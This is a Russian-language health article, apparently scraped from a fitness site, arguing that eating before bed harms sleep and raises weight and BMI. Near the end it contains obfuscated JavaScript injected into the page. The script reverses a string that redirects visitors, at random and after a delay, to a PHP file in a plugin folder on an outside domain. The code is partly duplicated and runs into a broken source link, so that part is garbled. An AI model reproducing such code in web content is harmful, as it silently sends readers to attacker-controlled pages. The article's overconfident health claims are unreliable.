Почему опасно есть перед сном

Обратите внимание!

Поздний прием пищи, вероятно, нарушит ваш сон и наверняка увеличит ваш вес.

Исследования показали, что поздний ужин наверняка не полезен для вашего здоровья. Даже если вы не едите большую порцию, это вызовет накопление лишнего веса.

Когда вы едите в неподходящее время, например, в 23.30, когда вы должны спать, органы метаболизма, такие как печень, не могут перерабатывать пищу должным образом. Это может вызвать проблемы с инсулином и уровнем сахара в крови.

Ученые заявили, что люди, которые регулярно едят поздно вечером, имеют более высокий уровень ИМТ, чем люди, которые питаются вовремя.

Высокий ИМТ вызывает такие проблемы со здоровьем:
— высокий уровень сахара
— высокое давление
— высокий уровень холестерина и триглицеридов
— сердечный приступ
— проблемы костей и суставов
— камни в почках и проблемы печени.

Не ешьте как минимум за два часа до сна!

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-eat-right-before-bedtime/?fbclid=IwAR0bfzEK6Bp5r7zUniAPitb3B5_OwPxcavG58P54hhcvaJ3qC0p_O-A4D2o»>Источник
Перевод и адаптация — Фитхакер

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector